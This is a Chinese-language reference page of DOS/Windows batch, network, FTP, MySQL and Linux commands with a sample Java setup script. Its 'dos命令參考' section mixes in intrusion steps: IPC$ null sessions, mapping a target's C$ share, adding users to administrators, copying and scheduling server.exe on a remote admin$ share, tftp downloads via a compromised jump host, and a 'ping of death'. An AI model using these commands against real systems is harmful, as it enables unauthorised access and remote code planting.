      XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 檔案拷貝失敗
      IF ERRORLEVEL 0 ECHO 成功拷貝檔案

      如果檔案拷貝成功,螢幕就會顯示“成功拷貝檔案”,否則就會顯示“檔案拷貝失敗”。
      IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。因此下面的批處理檔案是錯誤的:
      @ECHO OFF
      XCOPY C:\AUTOEXEC.BAT D:\
      CHO 成功拷貝檔案
      IF ERRORLEVEL 1 ECHO 未找到拷貝檔案
      IF ERRORLEVEL 2 ECHO 使用者通過ctrl-c中止拷貝操作
      IF ERRORLEVEL 3 ECHO 預置錯誤阻止檔案拷貝操作
      IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤
      無論拷貝是否成功,後面的:
      未找到拷貝檔案
      使用者通過ctrl-c中止拷貝操作
      預置錯誤阻止檔案拷貝操作
      拷貝過程中寫盤錯誤
      都將顯示出來。

      以下就是幾個常用命令的返回值及其代表的意義:
      backup
      0 備份成功
      1 未找到備份檔案
      2 檔案共享衝突阻止備份完成
      3 使用者用ctrl-c中止備份
      4 由於致命的錯誤使備份操作中止
      diskcomp
      0 盤比較相同
      1 盤比較不同
      2 使用者通過ctrl-c中止比較操作
      3 由於致命的錯誤使比較操作中止
      4 預置錯誤中止比較
      diskcopy
      0 盤拷貝操作成功
      1 非致命盤讀/寫錯
      2 使用者通過ctrl-c結束拷貝操作
      3 因致命的處理錯誤使盤拷貝中止
      4 預置錯誤阻止拷貝操作
      format
      0 格式化成功
      3 使用者通過ctrl-c中止格式化處理
      4 因致命的處理錯誤使格式化中止
      5 在提示“proceed with format(y/n)?”下使用者鍵入n結束
      xcopy
      0 成功拷貝檔案
      1 未找到拷貝檔案
      2 使用者通過ctrl-c中止拷貝操作
      4 預置錯誤阻止檔案拷貝操作
      5 拷貝過程中寫盤錯誤


=============================================================
@echo off    //不顯示shell的命令。
Setlocal         //環境改變只適用於這個檔案。
%OS%       //為當前的作業系統。
Rem              //註釋一行文字。
Goto 標籤   //改變執行順序,去標籤位置.
:標籤           //定義一個標籤。
Set 變數名=值   //定義變數
Not         //取反
Netstat –na   //顯示當前被點用的埠.
%0  %1  %2  //用於表示批處理檔案的引數0為命令,共1-9個引數。
Shift                     //用於向前一個引數,原1變0,原2變1.每呼叫一次shift向前一移動一位。
Call               //呼叫其他批處理檔案或命令。
Start 命令 引數   //指示出在另一個視窗中開始執行命令。




=============================================================
:: 這段批處理程式可以自動設定Java環境變數

@echo off
IF EXIST %1\bin\java.exe (
rem 如輸入正確的 Java2SDK 安裝目錄,開始設定環境變數
@setx JAVA_HOME %1
@setx path %path%;%JAVA_HOME%\bin
@setx classpath %classpath%;.
@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar
@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar
@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar
@echo on
@echo Java 2 SDK 環境引數設定完畢,正常退出。
) ELSE (
IF "%1"=="" (
rem 如沒有提供安裝目錄,提示之後退出
@echo on
@echo 沒有提供 Java2SDK 的安裝目錄,不做任何設定,現在退出環境變數設定。
) ELSE (
rem 如果提供非空的安裝目錄但沒有bin\java.exe,則指定的目錄為錯誤的目錄
@echo on
@echo 非法的 Java2SDK 的安裝目錄,不做任何設定,現在退出環境變數設定。
)
)




dos命令參考~~~
net use \\ip\ipc$ " " /user:" "  建立IPC空連結
net use \\ip\ipc$ "密碼" /user:"使用者名稱"  建立IPC非空連結
net use h: \\ip\c$ "密碼" /user:"使用者名稱"  直接登陸後對映對方C:到本地為H:
net use h: \\ip\c$  登陸後對映對方C:到本地為H:
net use \\ip\ipc$ /del  刪除IPC連結
net use h: /del  刪除對映對方到本地的為H:的對映
net user 使用者名稱 密碼 /add  建立使用者
net user guest /active:yes  啟用guest使用者
net user  檢視有哪些使用者
net user 帳戶名  檢視帳戶的屬性
net localgroup administrators 使用者名稱 /add  把“使用者”新增到管理員中使其具有管理員許可權,注意:administrator後加s用複數
net start  檢視開啟了哪些服務
net start 服務名   開啟服務;(如:net start telnet, net start schedule)
net stop 服務名  停止某服務
net time \\目標ip  檢視對方時間
net time \\目標ip /set  設定本地計算機時間與“目標IP”主機的時間同步,加上引數/yes可取消確認資訊
net view  檢視本地區域網內開啟了哪些共享
net view \\ip  檢視對方區域網內開啟了哪些共享
net config  顯示系統網路設定
net logoff  斷開連線的共享
net pause 服務名  暫停某服務
net send ip "文字資訊"  向對方發信息
net ver  區域網內正在使用的網路連線型別和資訊
net share  檢視本地開啟的共享
net share ipc$  開啟ipc$共享
net share ipc$ /del  刪除ipc$共享
net share c$ /del  刪除C:共享
net user guest 12345  用guest使用者登陸後用將密碼改為12345
net password 密碼  更改系統登陸密碼
netstat -a  檢視開啟了哪些埠,常用netstat -an
netstat -n  檢視埠的網路連線情況,常用netstat -an
netstat -v  檢視正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip  檢視某協議使用情況(檢視tcp/ip協議使用情況)
netstat -s  檢視正在使用的所有協議使用情況
nbtstat -A ip  對方136到139其中一個埠開了的話,就可檢視對方最近登陸的使用者名稱(03前的為使用者名稱)-注意:引數-A要大寫
tracert -引數 ip(或計算機名)  跟蹤路由(資料包),引數:“-w數字”用於設定超時間隔。
ping ip(或域名)  向對方主機發送預設大小為32位元組的資料,引數:“-l[空格]資料包大小”;“-n傳送資料次數”;“-t”指一直ping。
ping -t -l 65550 ip  死亡之ping(傳送大於K的檔案並一直ping就成了死亡之ping)
ipconfig (winipcfg)  用於windows NT及XP(windows 95 98)檢視本地ip地址,ipconfig可用引數“/all”顯示全部配置資訊
tlist -t  以樹行列表顯示程序(為系統的附加工具,預設是沒有安裝的,在安裝目錄的Support/tools資料夾內)
kill -F 程序名  加-F引數後強制結束某程序(為系統的附加工具,預設是沒有安裝的,在安裝目錄的Support/tools資料夾內)
del -F 檔名  加-F引數後就可刪除只讀檔案,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔檔案,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的檔案。例如“DEL/AR *.*”表示刪除當前目錄下所有隻讀檔案,“DEL/A-S *.*”表示刪除當前目錄下除系統檔案以外的所有檔案
del /S /Q 目錄 或用:rmdir /s /Q 目錄  /S刪除目錄及目錄下的所有子目錄和檔案。同時使用引數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 碟符\路徑\要移動的檔名 存放移動檔案的路徑\移動後文件名  移動檔案,用引數/y將取消確認移動目錄存在相同檔案的提示就直接覆蓋
fc one.txt two.txt > 3st.txt  對比二個檔案並把不同之處輸出到3st.txt檔案中,"> "和"> >" 是重定向命令
at id號  開啟已註冊的某個計劃任務
at /delete  停止所有計劃任務,用引數/yes則不需要確認就直接停止
at id號 /delete  停止某個已註冊的計劃任務
at  檢視所有的計劃任務
at \\ip time 程式名(或一個命令) /r  在某時間執行對方某程式並重新啟動計算機
finger username @host  檢視最近有哪些使用者登陸
telnet ip 埠  遠和登陸伺服器,預設埠為23
open ip  連線到IP(屬telnet登陸後的命令)
telnet  在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\檔名1 路徑\檔名2 /y  複製檔案1到指定的目錄為檔案2,用引數/y就同時取消確認你要改寫一份現存目錄檔案
copy c:\srv.exe \\ip\admin$  複製本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg  將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的檔案,注:2st.txt檔案頭要空三排,引數:/b指二進位制檔案,/a指ASCLL格式檔案
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.*  複製對方admini$共享下的srv.exe檔案(所有檔案)至本地C:
xcopy 要複製的檔案或目錄樹 目標地址\目錄名  複製檔案和目錄樹,用引數/Y將不提示覆蓋相同檔案
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將“IP”的server.exe下載到目標主機c:\server.exe 引數:-i指以二進位制模式傳送,如傳送exe檔案時用,如不加-i 則以ASCII模式(傳送文字檔案模式)進行傳送
tftp -i 對方IP put c:\server.exe  登陸後,上傳本地c:\server.exe至主機
ftp ip 埠  用於上傳檔案至伺服器或進行檔案操作,預設埠為21。bin指用二進位制方式傳送(可執行檔案進);預設為ASCII格式傳送(文字檔案時)
route print  顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,閘道器地址Gateway addres,介面地址Interface
arp  檢視和處理ARP快取,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部資訊
start 程式名或命令 /max 或/min  新開一個新視窗並最大化(最小化)執行某程式或命令
mem  檢視cpu使用情況
attrib 檔名(目錄名)  檢視某檔案(目錄)的屬性
attrib 檔名 -A -R -S -H 或 +A +R +S +H  去掉(新增)某檔案的 存檔,只讀,系統,隱藏 屬性;用+則是新增為某屬性
dir  檢視檔案,引數:/Q顯示檔案及目錄屬系統哪個使用者,/T:C顯示檔案建立時間,/T:A顯示檔案上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此引數即“DATE/T”、“TIME/T”將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元  設定環境變數
set  顯示當前所有的環境變數
set p(或其它字元)  顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause  暫停批處理程式,並顯示出:請按任意鍵繼續....
if  在批處理程式中執行條件處理(更多說明見if命令及變數)
goto 標籤  將cmd.exe導向到批處理程式中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:“:start”標籤)
call 路徑\批處理檔名  從批處理程式中呼叫另一個批處理程式 (更多說明見call /?)
for  對一組檔案中的每一個檔案執行某個特定命令(更多說明見for命令及變數)
echo on或off  開啟或關閉echo,僅用echo不加引數則顯示當前echo設定
echo 資訊  在螢幕上顯示出資訊
echo 資訊 >> pass.txt  將"資訊"儲存到pass.txt檔案中
findstr "Hello" aa.txt  在aa.txt檔案中尋找字串hello
find 檔名  查詢某檔案
title 標題名字  更改CMD視窗標題名字
color 顏色值  設定cmd控制檯前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱  更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
print 檔名  列印文字檔案
2ver  在DOS視窗下顯示版本資訊
winver  彈出一個視窗顯示版本資訊(記憶體大小、系統版本、補丁版本、計算機名)
format 碟符 /FS:型別  格式化磁碟,型別:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名  建立目錄
replace 原始檔 要替換檔案的目錄  替換檔案
ren 原檔名 新檔名  重新命名檔名
tree  以樹形結構顯示出目錄,用引數-f 將列出第個資料夾中檔名稱
type 檔名  顯示文字檔案的內容
more 檔名 逐屏顯示輸出檔案
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令列,重新呼叫win2k命令,並建立巨集)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出工作管理員
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加引數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務預設埠23為其它任何埠
exit  退出cmd.exe程式或目前,用引數/B則是退出當前批處理指令碼而不是cmd.exe
path 路徑\可執行檔案的檔名 為可執行檔案設定一個路徑。
cmd 啟動一個win2K命令解釋視窗。引數:/eff、/en 關閉、開啟命令擴充套件;更我詳細說明見cmd /?
regedit /s 登錄檔檔名  匯入登錄檔;引數/S指安靜模式匯入,無任何提示;
regedit /e 登錄檔檔名 匯出登錄檔
cacls 檔名 引數 顯示或修改檔案訪問控制列表(ACL)——針對NTFS格式時。引數:/D 使用者名稱:設定拒絕某使用者訪問;/P 使用者名稱:perm 替換指定使用者的訪問許可權;/G 使用者名稱:perm 賦予指定使用者訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub使用者訪問。
cacls 檔名  檢視檔案的訪問使用者許可權列表
REM 文字內容  在批處理檔案中添加註解
netsh  檢視或更改本地網路配置情況

IIS服務命令:
iisreset /reboot  重啟win2k計算機(但有提示系統將重啟資訊出現)
iisreset /start或stop  啟動(停止)所有Internet服務
iisreset /restart  停止然後重新啟動所有Internet服務
iisreset /status  顯示所有Internet服務狀態
iisreset /enable或disable  在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror  當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce  若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout  Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror引數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令列格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠端伺服器的所有響應資訊。
-d 使用除錯方式。
-n 限制ftp的自動登入,即不使用.netrc檔案。
-g 取消全域性檔名。
help [命令] 或 /?[命令] 檢視命令說明
bye 或 quit 終止主機FTP程序,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地檔名 [上傳到主機上的檔名] 將本地一個檔案傳送至遠端主機中
get 或 recv [遠端主機檔名] [下載到本地後的檔名] 從遠端主機中傳送至本地主機中
mget [remote-files]  從遠端主機接收一批檔案至本地主機
mput local-files 將本地主機中一批檔案傳送至遠端主機
dir 或 ls [remote-directory] [local-file]  列出當前遠端主機目錄中的檔案.如果有本地檔案,就將結果寫至本地檔案
ascii 設定以ASCII方式傳送檔案(預設值)
bin 或 image 設定以二進位制方式傳送檔案
bell 每完成一次檔案傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠端伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連線,可指定連線埠
delete 刪除遠端主機中的檔案
mdelete [remote-files] 刪除一批檔案
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的檔名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統型別
user user-name [password] [account] 重新以別的使用者名稱登入遠端主機
open host [port] 重新建立一個新的連線
prompt 互動提示模式
macdef 定義巨集命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前使用者的HOME目錄
chmod 改變遠端主機的檔案許可權
case 當為ON時,用MGET命令拷貝的檔名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠端主機目錄
cdup 進入遠端主機目錄的父目錄
! 在本地機中執行互動shell,exit回到ftp環境,如!ls*.zip


MYSQL 命令:
mysql -h主機地址 -u使用者名稱 -p密碼 連線MYSQL;如果剛安裝好MYSQL,超級使用者root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u使用者名稱 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 使用者名稱@登入主機 identified by \"密碼\"; 增加新使用者。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases;  顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統資訊,我們改密碼和新增使用者,實際上就是用這個庫進行操作。

use mysql;
show tables;  顯示庫中的資料表
describe 表名; 顯示資料表的結構
create database 庫名;  建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名;  將表中記錄清空
select * from 表名; 顯示錶中的記錄
mysqldump --opt school>school.bbb  備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);註釋:將資料庫school備份到school.bbb檔案,school.bbb是一個文字檔案,檔名任取,開啟看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /引數  關閉或重啟本地或遠端主機。
引數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠端主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /引數 程序名或程序的pid 終止一個或多個任務和程序。
引數說明:/PID 要終止程序的pid,可用tasklist命令獲得各程序的pid,/IM 要終止的程序的程序名,/F 強制終止程序,/T 終止指定的程序及他所啟動的子程序。
tasklist  顯示當前執行在本地和遠端主機上的程序、服務、服務各程序的程序識別符號(PID)。
引數說明:/M 列出當前程序載入的dll檔案,/SVC 顯示出每個程序對應的服務,無引數時就只列出當前的程序。

Linux系統下基本命令: 要區分大小寫
uname  顯示版本資訊(同win2K的 ver)
dir  顯示當前目錄檔案,ls -al 顯示包括隱藏檔案(同win2K的 dir)
pwd  查詢當前所在的目錄位置
cd  cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 檔名  檢視檔案內容
cat >abc.txt  往abc.txt檔案中寫上內容。
more 檔名  以一頁一頁的方式顯示一個文字檔案。
cp  複製檔案
mv  移動檔案
rm 檔名  刪除檔案,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名  建立目錄
rmdir  刪除子目錄,目錄內沒有文件。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查詢字串
diff 檔案檔案比較
find 檔案搜尋
date  現在的日期、時間
who  查詢目前和你使用同一臺機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami  檢視自己的帳號名稱
groups 檢視某人的Group
passwd 更改密碼
history 檢視自己下過的命令
ps 顯示程序狀態
kill 停止某程序
gcc 黑客通常用它來編譯C語言寫的檔案
su  許可權轉換為指定使用者
telnet IP  telnet連線對方主機(同win2K),當出現bash$時就說明連線成功。
ftp ftp連線上某伺服器(同win2K)


Windows 排程範例
若要在 Windows 系統上啟動自動化的備份工作,排程服務必須執行中。您可以利用下列指令來啟動這個服務:
   net start schedule

如果排程服務正在執行中,則工作可以利用 at 指令來加以排程,這個指令是用來呼叫批次檔 backup.cmd (backup.cmd 的內容可以在Windows 的備份排程元素找到)。如果您想要在每個星期五的下午 8 點整執行這個指令,則必須呼叫下列指令:
   at 20:00 /every:f cmd /c c::\db2\C21\sapscripts\backup.cmd

相關推薦

bat 資料移動

 echo off  echo hello world   ::得到當天  set pathLog=%date:~0,4%%date:~5,2%%date:~8,2%  :: eg:能得到 秒:set pathLog=%date:~0,4%%date:~5,2%%da

FOXMAIL也有資料移動功能

真是意外和高興--一直遺憾,認為FOXMAIL不如OUTLOOK EXPRESS的地方就是,列表資料夾無法移動--為此過去而放棄了用FOXMAIL而一直推崇OE,想不到喜歡上FOXMAIL 6.0之後,剛才無意中突然發現FOXMAIL6.0那個“檢視/顯示針對導航窗內各項的順

C++檔案操作——將檔案從一個資料移動到另一個資料

要求將一個資料夾下對應的所查詢的目標文字移動到另一個資料夾下,採用MoveFile函式即可完成轉移操作。 如下是一個專案中所用的示例,可供參考: void CTestBootDlg::RemoveFi

使用.bat移動指定檔案到指定資料給檔案許可權

文章轉載自他人 自己稍加修改 忘了出處 還望指出 @echo off move %~dp0\alldll\*.dll C:\dll     echo y|cacls "C:\dll\*.dll" /c /p everyone:f pause 1. %~dp0為檔案當前路徑

Python將某資料及其子資料下某種格式的檔案移動到另一個指定的檔案下

import shutil,os new_path='/root/python_test/data/gp_fz' for derName, subfolders, filenames in os.walk('/root/python_test/data/gp'): print(derName

python實現將某程式碼檔案複製/移動到指定路徑下 (檔案、資料移動、複製、刪除、重新命名)

    用python實現將某程式碼檔案複製/移動到指定路徑下。 場景例如:mv ./xxx/git/project1/test.sh ./xxx/tmp/tmp/1/test.sh (相對路徑./xxx/tmp/tmp/1/不一定存在)   # -

C# 選擇檔案、選擇資料、開啟檔案(或者資料) 路徑中獲取檔案全路徑、目錄、副檔名、檔名稱 追加、拷貝、刪除、移動檔案、建立目錄 修改檔名、資料名!!

https://www.cnblogs.com/zhlziliaoku/p/5241097.html 1、選擇檔案用OpenDialog OpenFileDialog dialog = new OpenFileDialog(); dialog.Multiselect = true;/

[Xcode10 實際操作]七、檔案與資料-(5 )複製、移動、刪除檔案和刪除資料

本文將演示如何複製、移動和刪除檔案。 在專案導航區,開啟檢視控制器的程式碼檔案【ViewController.swift】 1 import UIKit 2 3 class ViewController: UIViewController { 4 5 over

關於linux複製、刪除、移動檔案及資料

新建:         新建資料夾使用:mkdir命令,mkdir是“make directory”的縮寫詞。         mkdir是一個用來在linux系統下建立目錄的命令,此命令屬於內建命令。

CentOS7 複製資料移動資料

linux下檔案的複製、移動與刪除命令為:cp,mv,rm 一、檔案複製命令cp 命令格式:cp [-adfilprsu] 原始檔(source) 目標檔案(destination) cp [option] source1 source2 source3 ... directory 引數說明

Windows bat指令碼遍歷資料並批量修改檔案字尾

這個需求非常常見,例如批量轉換檔案格式等等,程式碼如下: @echo off ::對變數動態捕獲擴充套件變化 set strpdf=pdf set strtxt=txt SETLOCAL ENABLE

Bat實現根據Excel中的人員名單分別新建資料

場景 現在有一個Excel表格,有一列是人員名單列,現在要根據這個名單分別給每個人生成一個資料夾。 實現 1.開啟有人員名單的Excel,假如現在人員名單是A1列,找一列空閒列,假如找B1列。 2.在B1列插入公式,直接輸入 =“md ”&A1 注意md 後面

C# 檔案操作(全部) 追加、拷貝、刪除、移動檔案、建立目錄 修改檔名、資料

    本文也收集了目前最為常用的C#經典操作檔案的方法,具體內容如下:C#追加、拷貝、刪除、移動檔案、建立目錄、遞迴刪除資料夾及檔案、指定資料夾下面的所有內容copy到目標資料夾下面、指定資料夾下面的所有內容Detele、讀取文字檔案、獲取檔案列表、讀取日誌檔案

noip複賽批量移動資料下的檔案

@echo off for /f "delims=" %%a in ('dir /ad /b') do ( for /f "delims=" %%b in ('dir /a-d /s /b "%%~a"') do ( move "%%~b" "%%~a" ) ) 該命令儲存

Python--使用執行緒--批量檔案的移動 以及FTP共享自己資料

在寫程式碼中 偶爾會遇到一些指令碼和方法,有時候這些指令碼程式都是用到再寫。這無疑浪費了自己很多時間,自己寫過一次為了防止程式碼的丟失不如放在部落格上記錄一下,如果再用到那邊直接用。 第一個 小知識點os模組的具體應用 """ 我們知道有時候需要大批的檔案從一個

unity3d用程式碼建立資料移動,複製

新建場景Scene,新增Button和Button(1). 在Canvas新增如下指令碼:    public Button but;//建立資料夾的Button     int addID = 0;     public Button butmvoe;//複製和移動

livereload-實時自動重新整理頁面(只要檢測的資料中檔案有修改,頁面就會自動重新整理)(適用pc端、移動端)

開發專案時需要不斷的重新整理瀏覽器才能看到效果,這個是個很麻煩的事情,總是得手動去重新整理。如果可以邊改專案邊重新整理就好了。 livereload就是這個你想要的工具。 安裝livere

Linux資料檔案建立、刪除;複製,移動

一  Linux刪除資料夾命令      linux刪除目錄很簡單,很多人還是習慣用rmdir,不過一旦目錄非空,就陷入深深的苦惱之中,現在使用rm -rf命令即可。 直接rm就可以了,不過要加兩個引數-rf 即:rm -rf 目錄名字 刪除目錄、檔案 rm(re

批處理bat實現建立、複製、刪除檔案及資料

1 建bat檔案自動執行復制,刪除命令。  例1:以下是複製cd.dll檔案至windows\system32的bat檔案內容:          copy cd.dll %windir%\system32     例2:下面一行是解除安裝windows\system32

bat-刪除當前資料下子資料下某些檔案

系統:Windows 7 軟體:Excel 2010 介紹使用場景or困惑: - 需要定期清理當前資料夾下一個子資料夾裡的Excel格式檔案 - 整個資料夾也可能複製到其它地方使用 - 簡